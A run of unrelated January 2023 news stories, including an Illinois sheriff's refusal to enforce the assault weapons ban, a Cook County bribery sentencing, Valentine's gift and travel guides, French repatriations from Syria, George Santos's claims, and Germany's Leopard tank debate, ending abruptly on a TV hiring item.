After public comment, DuPage County Board Chair Deborah Conroy, a Democrat, said she plans to introduce a resolution at the next board meeting on Feb. 14 to censure the sheriff for his statement. Conroy said that words matter and the repercussions of what we say can be dangerous at times.

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It is my feeling that the board needs to have confidence that our sheriff is focusing on the safety of our residents and not engaging in inflammatory political rhetoric, Conroy said.

Mendrick, a Republican, previously said he believes the new legislation is unconstitutional and said his office wont be checking to ensure that lawful gun owners register their weapons with the state nor arresting nor housing anyone charged solely with not complying with the act.

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Dozens of sheriffs around Illinois have also declared they will not enforce the new assault weapons ban.

Last week, several Democratic DuPage County Board members and some residents called for him to retract his statement or resign. Long a Republican stronghold, the DuPage County Board now consists of 10 Democrats and eight Republicans.

Several state and federal Democratic legislators on Monday also called on Mendrick to retract his statement.

Republican DuPage County Board member Sam Tornatore listens during Tuesday's board meeting. (Mark Black/for the Chicago Tribune)

DuPage County Board member Liz Chaplin, a Democrat, takes part in Tuesday's board meeting in Wheaton. (Mark Black/for the Chicago Tribune)

After Conroys announcement at Tuesdays meeting, DuPage County Board member James Zay, a Republican, said he would not be in favor of censure and supports the sheriff.

I support our sheriff and his right to speak out about the problems with the act, Zay said.

Republican County Board member Sam Tornatore echoed Zay with concerns over a resolution for censure, arguing it must include an open discussion.

My only question is, is it going to make us any better or bring us together ... or is it just going to continue to divide us even further? he said.

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County Board member Liz Chaplin, a Democrat, said she supports censure because she believes Mendrick spread misinformation and riled up constituents by posting his statements on the DuPage County sheriffs official Facebook page.

It shows he is lacking that integrity, judgment and professionalism needed to perform those duties, Chaplin said.

During the public comment portion of Tuesdays meeting that lasted over an hour, several members of the audience held signs of support for Mendrick in particular and gun rights in general. Mendrick did not attend the meeting. He was unable to be reached for comment late Tuesday afternoon.

DuPage County Board Chair Deborah Conroy speaks during the board meeting Tuesday in Wheaton. After public comment, she said she plans to introduce a resolution at the next board meeting on Feb. 14 to censure DuPage County Sheriff James Mendrick. (Mark Black/for the Chicago Tribune)

Supporters of DuPage County Sheriff James Mendrick rally outside the DuPage County Administration Building in Wheaton Tuesday prior to the DuPage County board meeting. (Mark Black/for the Chicago Tribune)

There were more people at todays public comment than Ive ever seen in my four years on this board, said DuPage County Board member Dawn DeSart, a Democrat representing District 5.

Joe Cosentino, a resident of West Chicago, believes the new assault weapons ban will embolden criminals and take away Second Amendment rights from lawful gun owners.

Criminals are still going to get their hands on guns, whether the laws on the books or not, and most criminals using guns dont have a FOID to begin with, Cosentino said, referring to the firearm owners identification card. Like the board is asking Sheriff Mendrick to do, I would ask those requesting him to step down to do the same. You are letting personal politics get in the way of running the county.

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Tom Martin, a 65-year resident of DuPage County, said he is a sportsman and supports the right to bear arms. However, he said the government was designed with separate branches and the sheriff does not have the right to determine whether or not to execute a law.

I call on the board to do whatever is in their power to reprimand Sheriff Mendrick, Martin said.

On Friday, an Effingham County judge temporarily blocked the assault weapons ban from being enforced on more than 850 people and a handful of licensed gun dealers named in a lawsuit filed in the county. The judge set a hearing for Feb. 1. The order only applies to the plaintiffs in the case.

That lawsuit was filed by downstate attorney Thomas DeVore, an unsuccessful Republican candidate for attorney general last year, who has since filed another lawsuit against the assault weapons ban, in downstate White County, that lists more than 1,000 plaintiffs, including former state senator and GOP gubernatorial candidate Darren Bailey and some 70 firearms dealers.

mejones@chicagotribune.com
A former employee of the Cook County Board of Review was sentenced to three months in prison and at least one year of probation Tuesday for taking bribes to fix tax appeals on more than two dozen properties.

Danilo Barjaktarevic, who was a deputy at the board responsible for helping property owners appeal their real estate tax valuations, pleaded guilty in September to one count of bribery. Federal prosecutors had asked for up to 2 years in prison, while Barjaktarevics lawyers were seeking probation.

Probation would send the wrong message, Assistant U.S. Attorney Thomas Peabody told the judge in the hearing at the Dirksen U.S. Courthouse. This was about greed. This was about wanting more money. He had a salary, but he wanted more.

Barjaktarevics attorney emphasized the former county employee had quickly acknowledged his actions.

The minute that he got caught, he admitted to what he did, said Barjaktarevics lawyer, Matthew McQuaid, asking the judge to consider probation or a non-prison sentence. He has consistently cooperated. ... He can, and will, live a law-abiding life for the rest of his life.

Prior to sentencing, Barjaktarevic told the court: I am ashamed of myself. ... I should have known better.

U.S. District Judge Sharon Johnson Coleman told Barjaktarevic that making a mistake doesnt, in and of itself, mean youre a bad person. It just means you did something wrong.

However, the judge noted the offense was serious and not victimless. When you violate the law as you did, it brings everything into question, she said.

During the year of probation, Barjaktarevic will have to complete 100 hours of community service with the Greater Chicago Food Depository. Other special conditions require Barjaktarevic to repay the $21,000 he received as part of the first bribe.

Unbeknownst to Barjaktarevic, an individual named in documents only as CS-1 was a confidential source operating at the direction of the FBI, according to the plea. Barjaktarevic told the source he would accept $2,000 to lower assessments for each commercial property, while he would charge $1,000 for each residential property, for a total cost to CS-1 of $43,000, the legal document states. Half was due upfront, which the plea said was paid around Jan. 7, 2021.

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Barjaktarevic updated CS-1 on the appeals process during that first cash drop in a suburban parking lot and then again via email in May 2021, detailing whether and the extent to which a propertys assessment had been lowered, according to the agreement.

The two met again in a parking lot that July, when Barjaktarevic received the second payment of $22,000, authorities said in the agreement.

The plea suggests no other Board of Review employees were involved. Barjaktarevic falsely told CS-1 that other employees at the CCBOR would assist, the plea reads.

The Sun-Times first reported the FBI was investigating an unnamed employee at the countys Board of Review last July, citing a 45-page affidavit that was temporarily unsealed. The affidavit quoted the employee, who claimed to be a middle guy splitting the bribes with others in the office, the Sun-Times reported.

Following the report, the Board of Review put that employee on paid leave, the Sun-Times reported, and pledged to independently investigate the incident. The Board of Review signed an emergency contract with the law firm Riley Safer Holmes & Cancila worth $110,000 to conduct an internal investigation of the incident.

That contract was set to expire in early March, but was extended  at a cost of $40,000  and scheduled again to conclude on Sep. 6. Among their responsibilities, according to the contract, was to interview Board of Review employees about the allegations and the boards security processes, review documents, draft a presentation and a comprehensive written report outlining the findings of the investigation, and represent the board in communications with federal authorities relating to the allegations.

That report has not yet been publicly released.

The Board of Review is glad that justice was served today and that Mr. Barjaktarevic will repay the money he illegally obtained. We are thankful the investigation showed what weve known all along: this was a single corrupt employee who tried to tarnish the good work done by our hard working staff by falsely implying a larger scheme, Board of Review spokesman William OShields said in a statement.

It was not the first ethics stumble to crop up at the board in recent years. Commissioner Tammy Wendt, who was defeated in the June primary, was found in violation of ethics rules for hiring her first cousin as a top staffer. He was eventually fired. Board members have also been dinged by ethics officials for taking excess campaign donations from people seeking assessment reductions.

And the countys watchdog has also chastised board members for repeatedly recruiting employees based on their personal and political connections, and pressured employees into doing political work.

This was also not the first time Barjaktarevic had accepted bribes, according to the governments sentencing memo. He admitted that he once accepted $1,500 in cash from a taxpayer for help with property taxes. A search of the Barjaktarevics cellphone also revealed other similar instances, such as a $1,000 payment from a taxpayer in January 2021 and a $1,500 putative payment from another taxpayer in spring 2021.

adperez@chicagotribue.com
A former Oakridge School director of facilities was arrested late last week on charges of soliciting a minor and sexually assaulting a student who attended the Arlington private school, according to a letter the school sent to parents.

David James Languell, who worked as director of facilities at the private school until 2020 and is the parent of a current student, faces charges of online solicitation of a minor and sexual assault of a child-forcible rape, Oakridge School officials announced.

The alleged conduct occurred with an upper school student after Languells employment at Oakridge School ended, the letter said. Languells employment began in July 2011 and ended in September 2020 for reasons unrelated to student safety, according to school officials.

We could not make this information public during the ongoing investigation by the authorities until after his recent arrest, said Matt Burgy, head of Oakridge School. To the best of our knowledge, no inappropriate physical contact with any student occurred on the Oakridge campus, nor while The Oakridge School employed him.

The Oakridge School has been cooperating with law enforcement since February 2022, when officials first became aware of the allegations, according to the letter.

The school immediately investigated, to the extent we could, and provided Child Protective Services (CPS) and the Arlington Police Department with the results of our investigation, Burgy said.

The school issued a limited no-trespass order to Languell in February 2022. In April 2022, the school partnered with the Arlington Police Department to issue Languell a no-trespassing ban from the campus to ensure that he did not have any contact with any Oakridge students on campus.

We know this is very concerning to you as parents, as it is to all of us as educators. Oakridge has substantial safety protocols. These include an off-duty Arlington Police Officer, a campus security team, security software, and cameras, Burgy said in the letter. Prior to employment, employees undergo background checks. In addition, employees participate in training regarding Child Abuse and Sexual Abuse Prevention, and the school has appropriate safety policies in place. Oakridge has acted in the best interest of our students throughout the process to protect all of our students, and we will continue to do so.

The school will continue to work with local authorities regarding the investigation.

Arlington police officials did not immediately respond to a request for comment.
Fortnum & Mason has launched its limited edition sweet and savoury Valentine's Day treats. (Fortnum & Mason)

Yes, we know we're still in January, but Valentine's Day is fast approaching. You can never go wrong with being organised in advance and this year, luxury department store Fortnum & Mason is the place to shop for gifts if you're in need of inspiration.

From hampers filled with Champagne, truffles and chocolate to novelty pork pies, there's a huge selection of delicious, fun and fabulous treats to show a token of appreciation to your partner.

Best of all, the famous London department store has bought back its limited edition 'I Love You' pork pies, which first launched in 2020 and due to popular demand have been part of the Valentines range ever since.

It's I Love You pie was a sellout success last year. (Fortnum & Mason)

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Costing 29.95, it's a decadent treat that you both can share on 14th February, filled with 100% British Lincolnshire Pork and encased in rich, crumbly pastry and recommended for sharing between up to four people.

There's also another Valentine's Pork Pie which is less pricey at 7.95, with a cute heart pastry lid and is recommended for sharing between two people.

It's not the first department store to offer edible Valentine's gifts either  Marks & Spencer launched a novelty 'love sausage' last year, made from pork with a hint of truffle and wrapped in bacon, nicely shaped into a love heart.

You can also feast on Fortnum & Mason's heart pork pie. (Fortnum & Mason)

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Fortnum & Mason's hampers start from 80 and feature an impressive stash of cheeses, booze, biscuits, and a whole lot of love, so if you're feeling romantic, make sure you snap one up.

We've handpicked our top-rated sweet and savoury foodie gifts for 2023 to shop now, all that's left for you to do is buy a card.

The best Fortnum & Mason Valentine's Day gifts

(Fortnum & Mason)

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Delivered in a wicker basket that's perfect for summer picnics later in the year, this features melt-in-the-mouth Belgian milk chocolate coated raspberries, heart-shaped caramels, honey and lavender shortbread and Valentines tea. What's not to love?

(Fortnum & Mason)

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A peek inside this delicious hamper is sure to whet your appetite. With honey and lavender shortbread, Valentine's tea, strawberry and rose preserve, vegan truffles and chocolate-coated raspberries, it's a feast we can't wait to tuck into.

(Fortnum & Mason)

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Romance of course calls for Champagne, so make this Valentines Day extra special with this hamper. Alongside a bottle of bubbles, you can also enjoy a whole host of treats, ranging from chocolate-coated raspberries, Piccadilly chocolate pearl biscuits, strawberry and Champagne preserve and a heart chocolate selection box.

(Fortnum & Mason)

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This indulgent hamper is still more cost-effective than buying all the contents individually. There are two bottles of fine wine (a Bordeaux Blanc and a Beaujolais), chocolates, truffles, shortbread, jams, stuffed olives, cream cheese and Stilton cheese straws.

(Fortnum & Mason)

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You can't go wrong with this classic cream tea selection box, with everything you need for an afternoon sipping Champagne and eating scones. Kickstart the celebrations with pink Champagne truffles, chocolate pearl biscuits, followed by clotted cream, strawberry preserve and almond brownies. Bon appetit!

Watch: Can you guess these crazy (and pricey!) celebrity Valentine's gifts?
Adam Klotz, a weather forecaster for Fox News, said he required hospital treatment after being badly beaten by a group of teenagers on a New York City subway train early Sunday morning.

The group of seven or eight teens assaulted Klotz on the No. 1 train at around 1:15 a.m. after he called them out for lighting an elderly passengers hair on fire with a joint, he recalled on Mondays broadcast of the conservative networks morning show Fox & Friends.

Klotz, who was heading home after watching the New York Giants game in a bar, said he moved to another subway car after receiving a first punch to the face. But the teens followed him and showered kicks and punches onto his body over the course of several stops.

Watch the video here:

Put him to sleep, he said they shouted.

They were trying to knock me out, added Klotz, who suffered cuts and bruises to his face and revealed the side of his body is black and blue.

Onlookers were reluctant to get involved during the attack, said Klotz. I get it, he said. But he said they helped as soon as the group left at the 18th Street stop.

Klotz was treated at Bellevue Hospital.

Police detained three of the group, who were aged 15 to 17, but have not pressed charges because of their ages, The Daily Beast reported.

Juvenile reports were prepared, and their parents were called to pick them up, a spokesperson for the New York Police Department told the New York Post.
PARIS (AP)  France on Tuesday repatriated another group of women and children from former Islamic State group-controlled areas of Syria, the latest return of French nationals who'd been stranded in camps there, eyed warily by Paris.

The group was made up of 32 minors and 15 adult women, France's national counterterrorism prosecutors office said. It said the women, ranging in age from 19 to 56, were held in custody  some on the basis of arrest warrants previously issued against them. The children were placed in the care of protective services.

The returnees had previously been detained in a sprawling, wretched and lawless camp in northeastern Syria that holds tens of thousands of women and children, according to Kurdish authorities in the region.

Around 50,000 Syrians and Iraqis are crowded into tents in the fenced-in al-Hol camp. Nearly 20,000 of them are children; the rest are mostly the wives or widows of IS fighters.

The camp also has a separate, heavily guarded annex holding 2,000 women from 57 other countries and about 8,000 of their children.

Before the latest repatriation, Kurdish authorities Monday met with a French delegation in the northeastern Syrian city of Qamishli.

France has brought home women and children from camps in northeastern Syria in successive waves since the territorial defeat of IS in 2019.

Many European countries were slow to allow the return of women and children from areas where IS operated for fear they would violently turn on their homelands.

France saw more of its citizens join IS in Syria than any other European country, and has been especially wary about having them back.

Authorities insisted on repatriating citizens and their children on a case-by-case basis, a long and cumbersome procedure that has been repeatedly criticized by human rights groups. French authorities have also insisted that adults, men and women who fought with IS, should be prosecuted in the country where they committed crimes.

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French authorities are also wary of IS fighters' children. Speaking last month to lawmakers, Justice Minister Eric Dupond-Moretti described children coming from Syria as lion cubs of the so-called Islamic caliphate that IS declared over the territory it once controlled. The minister's comments seemed to suggest that some children may not be loyal to France.

On the one hand, these kids are not responsible for the criminal choices of their parents. On the other hand, absolute vigilance is required, the minister said.

Our fear is that these children, in growing up, could be recovered by terrorist groups, he said.

Speaking before the latest group were brought back, the minister said 270 children had been repatriated  and that nearly three-quarters of them were under the age of 10.

The repatriation to France came days after a Canadian federal judge ordered Ottawa to help bring home four Canadian men held in Syrian camps. Spain this month also announced the repatriation of two women and 13 children from camps in Syria.

Following the rise of IS in 2014 and its declaration of a so-called Islamic caliphate in parts of Syria and Iraq, thousands of men and women came from around the world to join the extremist group. IS lost the last sliver of land it once controlled in east Syria in March 2019, but since then its sleeper cells have been blamed for deadly attacks in Syria and Iraq.

Humanitarian agencies and Kurdish-led Syrian Democratic Forces have urged the international community to repatriate its nationals from al-Hol and other facilities in Syria, as they struggle to maintain security in the camps amid security fears.

___

Hogir Al Abdo reported from Qamishli, Syria.

___

A previous version of this story was corrected to show that the spelling of the Syrian city is Qamishli, not Qamilishi.
February is truly the month of love, which includes relationships with your girls. Celebrated on February 13, the world was introduced to Galentines Day on the second season of Parks and Recreation. The fictional deputy director of the show, Leslie Knope, showed us her favorite February tradition involving brunch and gifts celebrating friendships with women.

Were here for a day to celebrate the women  especially Black women  who love us during those highs and lows.

Are you and the girls planning a Galentines Day slay-cation away from home? Here are five destinations perfect for Black women under $400 round-trip.

Atlanta, Georgia, For Under $100 Round-Trip

Photo Credit: Getty Images

Atlanta is a top city for Black people despite the everyone always wants to move to the A hate the city constantly gets. But heres the thing: Atlanta is popular among Black people for a reason, especially for Black women.

For starters, Atlanta has a variety of options for us! Theres always something new popping up on the scene. Theres something for everyone to do, from Black-owned spas, Black-owned restaurants, and unique experiences, such as the Black-owned ranch where you can meditate while horseback riding.

And when you consider the fact that Hartsfield-Jackson Atlanta International Airport is a major airport hub, it means its a city that offers easy access for a getaway.

RELATED: Have A Short Stay In Atlanta, Georgia? Here Are Some Things To Do

For Galentines Day, you can fly to Atlanta for less than $150 round-trip if youre traveling from Los Angeles, San Francisco, Houston, Dallas, New York City, Chicago, or Washington D.C.

The cheapest flights are from Florida, according to Skyscanner. Click here on this link to find your city.

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Tampa, Florida, For Under $100 Round-Trip

Photo Credit: Chalo Garcia

Speaking of Florida, if you and the girls want a beach stay away from Miami, then add Tampa to the list. Dont get us wrong, Miami is a vibe, but its often overcrowded and overpriced. Thankfully, Tampa is here to save the day.

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Tampa is a beautiful city with a more laid-back feel. If the goal is to spend quality time with your girls since work, relationships, and everything else often gets in the way, Tampa offers plenty of activities where you can be intentional about how you all spend your time.

Once you book your Galentines Day trip, Travel Noire has a guide on how to spend a day in Black-owned Tampa here. Regarding where to stay, we highly recommend the citys South Howard  or SOHO  district. SOHO is trendy and in the citys heart, where you will probably spend a lot of time shopping, eating well, and partying. Ready to book your trip?

RELATED: The Right Way To Enjoy A Luxury Staycation In Tampa, Florida

Flights from Nashville, St. Louis, Washington, D.C., and Houston, are currently priced under $100 round-trip. New Orleans and Richmond, Virginia, have the best deals. Find your flight to Tampa, Florida, by clicking here.

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St. Thomas, U.S. Virgin Islands For Under $275 Round-Trip

Photo Credit: Getty Images

If you need a girls trip a little further away, St. Thomas in the U.S. Virgin Islands the destination for your girls trip. This is a Travel Noire favorite because a passport is not needed for the island vibe. As we continue to get back into the swing of things, its an excellent option for those friends who forgot to renew their passports. No FOMO here with the U.S. Virgin Islands!

A trip to the U.S. Virgin Islands is optimal for rest and recreation. If your friends agree on this destination, chances are they want to come back with kisses from the sun and an experience to talk about. No matter your groups age or activity level, Virgin Island Eco Tours offers an ideal three-hour adventure kayaking through the towns protected mangroves. If the group feels a little more adventurous, you can also snorkel to witness conch shells and barracudas up close.

According to Skyscanner, the prices of trips from Charlotte, North Carolina, Philadelphia, Nashville, Washington, D.C., and Atlanta are all priced below $275 round-trip.

Leaving from Florida cities, such as Fort Lauderdale, Tampa, and Orlando, will get you there the cheapest. When we say affordable, we mean less than $250 round-trip. Fort Lauderdale is the cheapest, with a direct flight with Spirit Airlines.

Skyscanner

Providenciales, Turks and Caicos For Under $380 Round-Trip

Photo Credit: Getty Images

If you and the friend group feel really fancy (and everyone has their passport situation in order), pack your bags for Turks and Caicos. Anytime between December and March is considered the high season, but February is a soft spot as it comes right after the busy holiday season. Its also that in-between time before spring break and when people start panicking to head there before hurricane season.

We cant promise any crowds, but weve seen slower Februarys.

So, why Turks and Caicos for Galentines Day? In the spirit of friendship, Turks and Caicos is a bucket list destination solely for its beauty. What could be better than celebrating and reflecting on friendships in one of the most beautiful places in the world? If you ask us, its the kind of destination that feels like a honeymoon, except with friends.

RELATED: Your Local, Black-Owned Guide To Turks And Caicos

According to Skyscanner, those of you traveling from New York City, Boston, or Miami, can get to Providenciales for less than $400. New York City travelers have the best option with tickets priced at $282 round-trip! Click this link here to purchase this flight deal.

Skyscanner

Oranjestad, Aruba For Under $400 Round-Trip

Photo Credit: Getty Images

Do you know whats better than being on the Worlds Happiest Island, Aruba? Enjoying the island with friends, of course! Aruba gets the honor of being the Worlds Happiest Island because its measured in the sunshine as it gets the least amount of rain. In theory, there isnt a wrong time to go.

Outside of its sunny weather, Aruba is known worldwide for its pristine beaches, water fun, and wellness. If you and your friends are making this Galentines Day trip to intentionally rest, consider a visit to Indulgence by the Sea Spa. The spa has services that will make you all feel good from head to toe.

RELATED: Skip The Flamingos And Do These Activities When In Aruba

And while youre in Aruba, we highly recommend renting a car to explore the island and take in the stunning views for selfies! Read more on our Aruba activity guide here.

For an inexpensive trip for under $400 round-trip, travelers will have to depart from Miami, Atlanta, or New York City, according to Skyscanner. Purchase your tickets here before this deal goes away.
Attorney General Merrick Garland on Monday defended the Justice Department's handling of separate special counsel investigations into classified documents linked to former President Donald Trump and President Joe Biden, saying it does not have different rules for Republicans and Democrats.

In his first public remarks on the topic after even more classified documents were found at Biden's home in Delaware, Garland was asked whether he believed the Justice Department was handling the two probes fairly.

The department has a set of norms and practices," he said. "These are essential for us to continue. They ensure that we adhere to the rule of law. These mean, among other things, that we do not have different rules for Democrats or Republicans, different rules for the powerful and the powerless, different rules for the rich or for the poor. We apply the facts and the law in each case in a neutral, nonpartisan manner. That is what we always do, and that is what we do in the matters that youre referring to.

Garland spoke at a roundtable discussion with members of the Justice Department Reproductive Task Force as Republicans have accused the Justice Department of treating Trump and Biden differently after classified documents from Trump's administration were found at his Mar-a-Lago residence in Florida and classified documents from the Obama administration were discovered at Biden's Wilmington home and a Washington office he had used.

The role of the Justice Department is to apply the facts and the law in each case and reach appropriate decisions in a nonpartisan and neutral way without regard to who the subjects are, added Garland, who was nominated by Biden. That is what weve done in each of these cases. And that is what well continue to do.

Garland in November appointed former federal prosecutor Jack Smith as special counsel in a pair of Trump investigations: the classified documents found at Mar-a-Lago and Trump's role in the Jan. 6 attack on the Capitol. Garland announced this month that Robert Hur, who was a Trump-appointed federal prosecutor, would serve as a special counsel in the Biden probe.

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Congressional Republicans have opened their own investigations into the Biden documents. Rep. James Comer, R-Ky., the chair of the Oversight and Accountability Committee, and House Judiciary Committee Chair Jim Jordan of Ohio are each leading investigations.

Biden and Trump have had contrasting responses to the discovery of classified documents, which are supposed to be handed over to National Archives when presidents or vice presidents leave office.

The National Archives had several months of correspondence with Trump officials after requesting that missing records be returned before it received some of those records in a collection of boxes from Mar-a-Lago last January. Trump later failed to comply with a subpoena for the remaining records, leading to an eventual search of his Florida home.

In Biden's case, the National Archives was unaware of any missing records until the White House counsels office notified it shortly after records were found by Biden's lawyers, according to Richard Sauber, the special counsel to the president.

This article was originally published on NBCNews.com
During a news conference in Wheaton Monday, U.S. Rep. Sean Casten, D-Downers Grove, denounces DuPage County Sheriff James Mendrick's comments about not enforcing the state's assault weapon's ban. (Megan Jones / The Beacon-News)

Some area Democratic members of Congress, state lawmakers and DuPage County Board members gathered Monday to call on DuPage County Sheriff James Mendrick to retract his statement or resign after he said he will not enforce the states new assault weapons ban.

Mendrick, a Republican, issued a statement Jan. 13, saying he believes the new bill violates Second Amendment rights and that his office wont be checking to ensure that lawful gun owners register their weapons with the state nor arresting or housing anyone charged solely with not complying with the act.

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Dozens of sheriffs around Illinois have also declared they will not enforce the new assault weapons ban.

U.S. Rep. Delia Ramirez, D-Chicago, speaks alongside other area lawmakers on Monday during a news conference at Danada House in Wheaton focusing on recent remarks by DuPage County Sheriff James Mendrick concerning the state's new ban on assault weapons. (Megan Jones / The Beacon-News)

Lawmakers, including U.S. Reps. Sean Casten, D-Downers Grove; Delia Ramirez, D-Chicago; Bill Foster, D-Naperville; and Raja Krishnamoorthi, D-Schaumburg, spoke at Mondays news conference at Danada House in Wheaton, calling Mendricks statement irresponsible.

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I just want to say with one voice, we cannot wait another day, we cannot wait another hour, we cannot wait another minute for the sheriff to do his duty because lives depend on it, Krishnamoorthi said.

Casten said Mendricks actions will make future mass shootings more likely. Casten said he spoke with Mendrick last week before joining other Democratic lawmakers to issue a letter calling on Mendrick to retract his statement and answer several questions by Feb. 3.

In the letter, they asked Mendrick if there were any other laws he has chosen to disregard because he viewed them as unconstitutional.

The questions we ask are questions all citizens should want to know. If he believes he has the authority to act as a judge and interpret the Constitution, please advise where that authority resides because all of us who operate under the laws of the United States have not previously been familiar with that theory, Casten said.

Several residents from Moms Demand Action, a group focusing on the issue of gun violence, were in attendance Monday during a news conference in Wheaton which centered on DuPage County Sheriff James Mendrick's statement that he will not enforce the state's new assault weapons ban. (Megan Jones / The Beacon-News)

In an interview with the Chicago Tribune last week, Mendrick said he planned on staying out of the statewide outcry among other sheriffs about the new law but said the concerns he heard from his own deputies and regular citizens were too much to ignore.

The first couple of days, I was actually trying to call people back personally. But everyone would keep me on the phone for 30, 40 minutes apiece. Every citizen I talked to wanted to vent on all of this stuff, said Mendrick. The way the law was released scared society. I know it wasnt the intent. But it did. It scared everybody who owns guns.

Gun owners, lawful gun owners, this makes them feel that their rights are being infringed upon, that this is just the beginning, said Mendrick. How much further will it go after this?

He said he tries to comply with everything I can but believes the new law, as written, is incomplete. While the ban says that current owners of high-capacity magazines are required to register them with the Illinois State Police by April and high-powered weapons by Jan. 1, Mendrick is concerned over whether hell have the police resources to enforce the law.

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If youre expecting us to be the arm of this, how? Tell me where I get the people, he said.

If manpower is the issue, Casten encouraged Mendrick to reach out to legislators to try and seek federal, state or county funding to help increase staffing levels.

In a follow-up statement after the news conference, Mendrick said the law is poorly written and has no clear direction as to who will be enforcing it. He said he was contacted by Casten on Jan. 16 about enforcing the law.

There is absolutely nothing that we are doing or not doing that would make a mass shooting more accessible in DuPage County, Mendrick said in the statement. In fact, I have asked on multiple occasions to increase penalties on all existing gun crimes, but it does not appear that they want to have that conversation. They seem more concerned with lawful gun owners than people illegally possessing guns.

During Mondays news conference, some DuPage County Board members said theyve talked about the possibility of censuring Mendrick for his position on enforcement of the assault weapons ban and encouraged residents to speak during the public comment portion of county board meetings on the issue.

On Friday, an Effingham County judge temporarily blocked the ban from being enforced on more than 850 people and a handful of licensed gun dealers. The ruling stems from a lawsuit filed last week by attorney Thomas DeVore, a Republican who argued the ban violated the state constitutions due process and equal protection clauses.

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The judge set a hearing for Feb. 1. The order only applies to the plaintiffs and the state can still enforce the ban against anyone who isnt a part of the lawsuit.

mejones@chicagotribune.com
In a regular evening update on Jan. 24, the General Staff of Ukraines Armed Forces reported that the Ukrainian military had repelled Russian assaults in the Lyman and Avdiivka areas in the eastern Donetsk Oblast.

Moscow troops are continuing their offensive operations in the Bakhmut area in the oblast, suffering significant losses, the General Staff added.

The front-line city of Bakhmut has been the site of the wars fiercest fighting in recent months.

As a result of an offensive operation in January, Russian forces managed to break through Ukrainian defenses and take control of Soledar, a city just 10 kilometers northeast of Bakhmut, according to the Kyiv Independent's sources in the military. Ukraine hasn't officially confirmed the loss of Soledar.

Russia hopes to use the gain to encircle the nearby Bakhmut. But, according to the Institute for the Study of War think-tank, gaining control of Soledar will not necessarily lead to Ukraines swift collapse in Bakhmut.

Russia looks to capture the area as part of its larger goal of taking control of the entirety of Donetsk Oblast, which it has partly occupied since 2014.


Rep. George Santos leaves the US Capitol on January 12, 2023 in Washington, DC. Win McNamee/Getty Images

NY Rep. George Santos claimed to Brazilian media that he was the victim of an attempted murder.

On the podcast Radio Novela Apresenta, he also said he was mugged in broad daylight on Fifth Avenue.

Santos said he was robbed of his briefcase, watch, and shoes, but did not provide a police report.

Embattled New York Rep. George Santos told Brazilian media in December that he was the victim of a series of crimes, including an assassination attempt and a mugging on Fifth Avenue.

In a clip uncovered by the "Rachel Maddow Show" on MSNBC, Santos tells the podcast Radio Novela Apresenta that his home was vandalized in January of 2021 simply because he was a Republican.

"I'm going to a New Year's Eve party with my husband. We go back to our house, it was vandalized because we were at a Republican Party in Florida in December 2020," Santos told the hosts, according to the Rachel Maddow Show translation. "So that's it. I've experienced vandalism."

Santos then makes another claim: Someone tried to take his life.

"We have already suffered an attempt on my life, an assassination attempt, a threatening letter, having to have the police, a police escort standing in front of our house," Santos says.

Santos did not elaborate on his claim in the clip, according to host Rachel Maddow.

Later in the interview, Santos says he was a victim of a mugging "in broad daylight" on New York City's Fifth Avenue in the summer of 2021. Santos said two men robbed him of his briefcase, watch, and shoes after he left his office and was getting into his car.

"They stole your shoes in the middle of Fifth Avenue?" interjected podcast interviewer Joao Batista Jr., per a translation of the clip by the Rachel Maddow show.

"In the middle of Fifth Avenue," Santos answered. "And that wasn't the worst of it. Nobody did anything, nobody did anything. The fear is real. It's surreal what we live through here."

Story continues

Podcast interviewers Batista and Flora Thomson-Deveaux said they later asked Santos for his police report of the mugging, but he failed to respond.

On Friday, Thomson-DeVeaux tweeted that the December 7 interview with Santos was "one of the most infuriating interactions" she could remember in recent years, saying he "spewed unbelievable fake facts" but refused to engage when challenged.

The clip comes as Santos faces growing controversy over apparent falsehoods in his resume, campaign biography, family history, and religious background.

Though Santos admitted and apologized for embellishing his past while campaigning, he's also accused the "elitist" New York Times of misrepresenting his employment history.

A representative for Santos and the NYPD did not immediately respond to Insider's requests for comment.

Read the original article on Business Insider
Annalena Baerbock, Minister of Foreign Affairs of Germany, in a speech at a meeting of the Council of Europe's Parliamentary Assembly, has told MPs that Germany is not against the supply of heavy weapons to Ukraine, but is in favour of expanding the coalition of such suppliers.

Source: correspondent for European Pravda in Strasbourg.

Details: Baerbock spoke about her impressions of the conversation with teenagers in the city of Kharkiv and the need to defend Ukraine at the beginning of her speech.

Later, when it came to questions from PACE members, Norwegian MP Ingrid Schu called on Baerbock to explain when Germany would finally provide Ukraine with Leopard 2 tanks. The minister stated that Germany was not against providing tanks in principle, but there was one requirement.

Quote: "I admit it: Ukraine needs more support. But not only from my country, but from all countries. That's why we are calling for tanks to be provided by a large group of countries," she explained, without specifying when this time should come.

Details: Annalena Baerbock acknowledged that there are issues related to the disagreement on this matter within the German government, but she believes it is necessary not to blame each other, but to seek international support for supplies, and not only military ones.

Quote: "Yes, we need to do more military support, but we also need to do more humanitarian support, and we need to hold [the Russian leadership  ed.] liable," she said.

Background: Earlier, Annalena Baerbock had said that Germany would not object if Poland sent Leopard tanks to Ukraine.

She also stated that she believes it is possible to bring the Russian leadership to justice for crimes committed against Ukraine.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
WARSAW (Reuters) - Germany has now received Poland's official request to re-export Leopard 2 tanks to Ukraine, the Polish defence minister said on Tuesday, as Warsaw cranks up the pressure on Berlin to give its approval.

Ukraine wants the German-made Leopard 2, one of the most widely used Western tanks, to help it break through Russian lines and recapture territory this year.

Germany, whose approval is required for re-exports of the Leopard, has held back, wary of prompting Moscow to escalate the conflict.

"The Germans have already received our request for permission to transfer Leopard 2 tanks to Ukraine," Mariusz Blaszczak wrote on Twitter.

"I also appeal to the German side to join the coalition of countries supporting Ukraine with Leopard 2 tanks," he added. "This is our common cause, because the security of the whole of Europe is at stake!"

Berlin has said it is willing to act quickly if there is a consensus among those allies.

A spokesperson for the German economy ministry could not immediately be reached by telephone and did not immediately reply to an emailed request for comment.

On Sunday, German Foreign Minister Annalena Baerbock had said Berlin would not stand in Poland's way if it chose to ask and, on Monday, European Union foreign policy chief Josep Borrell said Germany was not blocking the export of the tanks.

(Reporting by Alan Charlish and Anna Wlodarczak-Semczuk, and Christian Kraemer in Berlin; Editing by Kevin Liffey)
"Extra" correspondents Melvin Robert, left, and Jennifer Lahmers are joining "Good Day L.A." (Phil McCarten / Invision / AP, left; Jordan Strauss / Invision / AP)

"Extra" correspondents Melvin Robert and Jennifer Lahmers will soon take on some extra roles at KTTV Fox 11.

